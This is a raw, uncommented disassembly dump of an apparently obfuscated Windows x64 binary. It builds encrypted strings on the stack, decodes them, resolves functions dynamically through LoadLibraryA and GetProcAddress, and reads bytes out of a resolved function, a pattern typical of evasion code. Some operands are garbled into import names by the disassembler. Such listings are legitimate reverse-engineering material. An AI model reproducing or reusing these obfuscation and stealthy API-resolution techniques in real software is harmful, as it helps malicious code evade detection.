lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x14019c5d3
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14019c600
lea rax, [r8 + 1]
cmp r9, rax
je 0x14019cfb4
movabs rcx, 0x21053ff87c9984e8
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x58
add r9, r8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14019c513
mov r10, rbx
movabs rcx, 0xcf31e2e3f2332608
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x38
movabs rcx, 0xccd5f9e5763269e8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x58
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0xc8d], al
inc r8
add rax, r8
sub r11, rax
movabs rcx, 0xa14ad12a98cc01a0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
mov byte [rbp + r11 + 0xc8d], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0xc8d]
add rax, r8
add r11, rax
inc r11
jmp 0x14019c513
movabs rcx, 0x7d5e85cf67ccc728
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x18
movzx eax, byte [rbp + r11 + 0xc8d]
add rax, r8
add r11, rax
inc r11
jmp 0x14019c513
lea rbx, [rbp + 0x171fc2d]
jmp 0x14019d1b8
lea rbx, [rbp + 0x4b93e5]
jmp 0x14019d1b8
lea rbx, [rbp + 0xc8d]
lea rdx, str._s_X
lea rcx, [rbp + 0x1e90]
call fcn.14013a940
mov r9d, edi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1eb0]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rbx, rax
lea rdx, [rbp + 0xb70]
lea rcx, [rbp - 0x2c]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xb89], dil
je 0x14019d252
mov r8d, edi
lea r9, [rbp + 0xb70]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14019d220
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0x1ed0]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1ef0]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1ef0]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb70], xmm0
mov qword [rbp + 0xb80], rax
mov word [rbp + 0xb88], ax
lea rcx, [rbp + 0x1eb0]
call fcn.140135dd0
nop
mov rcx, r14
call fcn.140135dd0
movzx esi, byte [rbp + 0x362]
mov byte [rbp - 0x56], sil
jmp 0x14019dfe5
mov byte [rbp + 0x830], 0x4b
mov byte [rbp + 0x831], 0x22
mov byte [rbp + 0x832], 0x3c
mov byte [rbp + 0x833], 0x3a
mov byte [rbp + 0x834], reloc.WS2_32.dll_getservbyport
mov byte [rbp + 0x835], 0x3a
mov byte [rbp + 0x836], 0x60
xor eax, eax
mov qword [rbp + 0x837], rax
mov byte [rbp + 0x83f], al
movabs rsi, 0x64ff0a8e3041c464
movabs r15, 0xc09da716b87d4771
movabs r12, 0xcceeb4dd2246dc45
movabs r14, 0x9599b9562c05ca5b
movabs r13, 0x93231cfb4a10ac97
movzx r10d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x10
jae 0x14019defd
movzx r11d, byte [rbp + rdi + 0x830]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rdi
ja 0x14019def1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019d3d3
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x17
jmp 0x14019d40c
je 0x14019de7f
inc rax
cmp r8, rax
je 0x14019de48
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019de1d
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019ddef
lea rax, [r9 + 7]
cmp r8, rax
je 0x14019dd97
nop dword [rax]
cmp r9, rdi
ja 0x14019ded8
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14019d441
lea rcx, [rdi + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14019d474
lea rax, [r9 + 1]
cmp r8, rax
je 0x14019dd66
inc rax
cmp r8, rax
je 0x14019dd2e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019dcfa
lea rax, [r9 + 6]
cmp r8, rax
je 0x14019dcb8
movzx edx, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], dl
nop dword [rax]
nop word [rax + rax]
movzx ebx, dl
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14019d82b
lea rax, [r9 + 9]
cmp r8, rax
je 0x14019d805
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14019d7d8
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14019d7b0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14019d787
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14019d75f
movabs rdx, 0x49e652a67ab97cf8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x1c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14019de66
movabs rdx, 0x476fb64b98c45f34
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x14019dbdc
movabs rcx, 0x44f919f0b6cf4170
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x14019d382
movabs rdx, 0xc3bdcbc345d4b28e
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14019ddb7
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14019d85d
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x17
add r10b, dl
movzx edx, byte [rbp + 0x5d10]
jmp 0x14019d952
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14019d8a4
movabs rdx, 0x99dd69ba448db88a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x1d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14019d382
inc rax
cmp r8, rax
jne 0x14019d8d5
movabs rdx, 0x9c5406152682d64e
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
jmp 0x14019dc34
mov byte [rbp + 0x5d10], dl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14019d911
movabs rdx, 0x2005f09d797282f4
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea r10d, [rcx + rcx]
mov byte [rbp + 0x5d10], bl
jmp 0x14019dbd6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14019d94c
movzx ebx, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14019dc0b
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14019d999
movabs rcx, 0xe590d069f5da05ed
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x14019d6f3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14019d9ca
movabs rcx, 0xa98851ab624d59
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6f
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x830], cl
add r8, r9
jmp 0x14019de66
movabs rdx, 0xc1472f6863df94ca
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0x830]
add r10b, r11b
add r10b, dl
movabs rdx, 0x81e4d67f1c5cdc3b
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x63
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x830], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x42827d95d4da23ac
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x830], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14019d382
movabs rcx, 0x580474761b15e237
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14019d382
movabs rcx, 0x53173bc0572ba6af
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x37
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
add r8, r9
jmp 0x14019de66
movabs rcx, 0x50a09f65753688eb
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6d
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
dec rdi
inc rdi
jmp 0x14019d382
movabs rcx, 0x4e2a030a93416b27
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
jmp 0x14019ddba
movabs rdx, 0x4bb366afb14c4d63
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4b
add r10b, dl
movabs rcx, 0x7f6e3a243a67be77
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x41
add r11b, cl
mov byte [rbp + rdi + 0x830], r11b
inc r9
dec rdi
inc rdi
jmp 0x14019d382
movabs rcx, 0xca7818824051be81
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
inc r9
dec rdi
inc rdi
jmp 0x14019d382
movabs rcx, 0x493cca54cf572f9f
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
dec rdi
inc rdi
jmp 0x14019d382
movabs rcx, 0xc58adfcc7c6782f9
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x31
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14019d382
movabs rcx, 0x41d8f5442977d653
add rcx, rdi
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x45
movzx eax, byte [rbp + rdi + 0x830]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14019d382
lea rbx, [rbp + 0x16c081c]
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
jmp 0x14019df04
lea rbx, [rbp + 0xe94f8d]
jmp 0x14019df04
lea rbx, [rbp + 0x830]
lea rdx, [rbp + 0xb90]
lea rcx, [rbp - 0x2b]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xba9], dil
je 0x14019df62
mov r9d, edi
lea r10, [rbp + 0xb90]
nop dword [rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x14019df30
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x1f10]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1f30]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1f30]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb90], xmm0
mov qword [rbp + 0xba0], rax
mov word [rbp + 0xba8], ax
mov rcx, qword [rsp + 0x70]
call fcn.140135dd0
mov r15d, 0xc0000001
lea rcx, [rbp + 0xa98]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1e10]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 8]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x20]
call fcn.140135dd0
test r15d, r15d
js 0x1401a1127
mov byte [rbp + 0xd56], 0x3f
mov byte [rbp + 0xd57], 0x22
mov byte [rbp + 0xd58], 0x26
mov byte [rbp + 0xd59], 0x7e
mov byte [rbp + 0xd5a], 0x7c
mov byte [rbp + 0xd5b], 0x3a
mov byte [rbp + 0xd5c], 0x62
mov byte [rbp + 0xd5d], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xd5e], 0x3a
mov byte [rbp + 0xd5f], 0x39
mov byte [rbp + 0xd60], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd61], xmm0
mov word [rbp + 0xd71], ax
movabs r14, 0x9ea4d508b9983c3c
movzx ebx, byte [rbp + 0x5d00]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, rdi
cmp r11, 0x1d
jae 0x14019ee4b
movzx r10d, byte [rbp + r11 + 0xd56]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x14019ee3f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019e10c
movabs rdi, 0x74a23b4f6e30bc9
lea rcx, [r11 + rdi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x7f
jmp 0x14019e143
je 0x14019edb4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019ed11
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019ecac
lea rax, [r9 + 6]
cmp r8, rax
je 0x14019ec83
movabs rdi, 0x74a23b4f6e30bc9
cmp r9, r11
ja 0x14019ee33
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14019e17e
movabs rdx, 0x9914edd8409ff77d
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6b
add bl, dl
jmp 0x14019e1c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14019ec30
inc rax
cmp r8, rax
je 0x14019ec07
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019ebe4
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019ebc0
lea rax, [r9 + 7]
cmp r8, rax
je 0x14019eb9d
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14019e6dc
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019e6b5
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14019e685
movabs rdx, 0x21db57c2158f105e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14019ec4e
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14019e70d
lea rdx, [r11 + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7f
add bl, dl
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019e89b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14019e753
movabs rcx, 0xdb72927aed0b40d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5b
jmp 0x14019ed64
movabs rcx, 0xf08e9a53d34484e9
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5f
jmp 0x14019ecf9
movabs rdx, 0xd3660b7ff7b855c5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x63
jmp 0x14019ecca
movabs rcx, 0xc4d1c41609f23e33
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x65
dec r11
inc r11
jmp 0x14019e0b3
movabs rcx, 0xa7a935422e660f0f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x69
movabs rcx, 0xeed45dcf5559bddf
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x19
add r10b, cl
mov byte [rbp + r11 + 0xd56], r10b
inc r9
dec r11
inc r11
jmp 0x14019e0b3
movabs rcx, 0x6d58179a774db0c7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x71
dec r11
inc r11
jmp 0x14019e0b3
movabs rdx, 0x5ec3d03089879935
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x73
add bl, dl
movabs rcx, 0xfd68a539431fd571
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, bl
add r10b, cl
mov byte [rbp + r11 + 0xd56], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14019e0b3
mov r10, rdx
movabs rcx, 0x3306f9f2c035527f
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x79
movabs rdx, 0xbfceca330e5ed03
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xd56], al
inc r9
add rax, r9
sub r11, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xd56], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xd56]
add rax, r9
add r11, rax
inc r11
jmp 0x14019e0b3
movabs rcx, 0x15de6b1ee4a9235b
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x7d
movzx eax, byte [rbp + r11 + 0xd56]
add rax, r9
add r11, rax
inc r11
jmp 0x14019e0b3
lea rcx, [rbp + 0x14bf862]
jmp 0x14019ee52
lea rcx, [rbp + 0xaf042b]
jmp 0x14019ee52
lea rcx, [rbp + 0xd56]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x1401a1127
mov byte [rbp + 0x2286], 0xee
mov byte [rbp + 0x2287], 0xc5
mov byte [rbp + 0x2288], 0xe0
mov byte [rbp + 0x2289], 0xea
mov byte [rbp + 0x228a], 0xe9
mov byte [rbp + 0x228b], 0xf1
mov byte [rbp + 0x228c], 0xd3
mov byte [rbp + 0x228d], 0xc1
mov byte [rbp + 0x228e], getservbyname
mov byte [rbp + 0x228f], 0x2a
mov byte [rbp + 0x2290], gethostbyaddr
mov byte [rbp + 0x2291], reloc.WS2_32.dll_select
mov byte [rbp + 0x2292], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2293], recvfrom
mov byte [rbp + 0x2294], getservbyname
mov byte [rbp + 0x2295], getservbyname
mov byte [rbp + 0x2296], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x2297], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2298], 0x3d
mov byte [rbp + 0x2299], 0x3f
mov byte [rbp + 0x229a], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x229b], xmm0
movabs r12, 0x58f23cf4140e9098
movzx ebx, byte [rbp + 0x5d00]
movzx r13d, byte [rbp + 0x5d10]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x25
jae 0x14019fb6f
movzx r10d, byte [rbp + r11 + 0x2286]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x14019fb63
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019ef8c
movabs rsi, 0x14b8e79e7c471f78
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
sub bl, 0x48
jmp 0x14019efd0
je 0x14019fad3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019fa2e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019f9f4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019f99f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019f96f
movabs rsi, 0x14b8e79e7c471f78
cmp r9, r11
ja 0x14019fb57
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14019f00d
movabs rdx, 0xb32b000031d594d8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14019f060
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14019f918
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019f8eb
lea rax, [rcx + 1]
cmp r8, rax
je 0x14019f8d1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019f8ad
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019f888
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14019f55f
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14019f53a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14019f50d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019f4e3
lea rax, [r9 + r8]
cmp rax, 9
je 0x14019f820
movabs rcx, 0x10e555565f1dc480
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
inc r9
dec r11
inc r11
jmp 0x14019ef33
movabs rdx, 0xe7738619668f8590
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14019f936
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14019f586
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x14019f3ed
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14019f5cc
movabs rdx, 0x6656000063ab29b0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x2286]
add rax, r9
add r11, rax
inc r11
jmp 0x14019ef33
inc rax
cmp r8, rax
jne 0x14019f5fb
movabs rcx, 0xabd5db6e052b0e78
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x48
jmp 0x14019fa16
lea rdx, [r11 + r12]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
jmp 0x14019f9bf
movabs rdx, 0x2f806db71b8051a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x14019ef33
movabs rdx, 0xdc9ccf3d2a63d3c8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x78
add bl, dl
movabs rdx, 0x566530c4009da948
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x2286], cl
inc r9
dec r11
inc r11
jmp 0x14019ef33
movabs rdx, 0x6047618640b916f8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x14019ef33
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, r11
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movabs rdx, 0x7fd70000f92be838
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x2286], cl
add r8, r9
jmp 0x14019fa16
movabs rdx, 0xba8024925e801b38
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14019ef33
mov r10, rdi
movabs rcx, 0x910e555565f1dc48
add rcx, r11
and dil, cl
mov eax, 4
sub al, dil
lea ebx, [rax + rax]
add bl, cl
add bl, r10b
movabs rdx, 0xa948cf3df1ba2728
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x18
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x2286], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x2286], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x2286]
add rax, r9
add r11, rax
inc r11
jmp 0x14019ef33
movabs rdx, 0x3e2ab6db74d55e68
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + r11 + 0x2286]
add rax, r9
add r11, rax
inc r11
jmp 0x14019ef33
lea rdx, [rbp + 0x1494726]
jmp 0x14019fb76
lea rdx, [rbp + 0x50669e]
jmp 0x14019fb76
lea rdx, [rbp + 0x2286]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r12d, r12d
test rax, rax
je 0x1401a112a
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x547c], r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x5480]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x5680], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5688], xmm0
movups xmmword [rbp + 0x5698], xmm0
mov qword [rbp + 0x56a8], rax
movups xmmword [rbp + 0x56b0], xmm0
mov dword [rbp + 0x56c0], eax
mov dword [rbp + 0x56c4], r12d
mov qword [rbp + 0x56c8], r12
mov qword [rbp + 0x56d0], r12
mov dword [rbp + 0x56d8], r12d
mov qword [rbp + 0x56e0], r12
mov qword [rbp + 0x56e8], rax
mov dword [rbp + 0x56f0], eax
mov dword [rbp + 0x56f4], r12d
mov dword [rbp + 0x56f8], r12d
mov dword [rbp + 0x56fc], r12d
mov word [rbp + 0x5700], r12w
movups xmmword [rbp + 0x5708], xmm0
movups xmmword [rbp + 0x5718], xmm0
mov qword [rbp + 0x5728], rax
mov qword [rbp + 0x5470], 0xaed0de
mov dword [rbp + 0x5478], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x5470]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r12
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
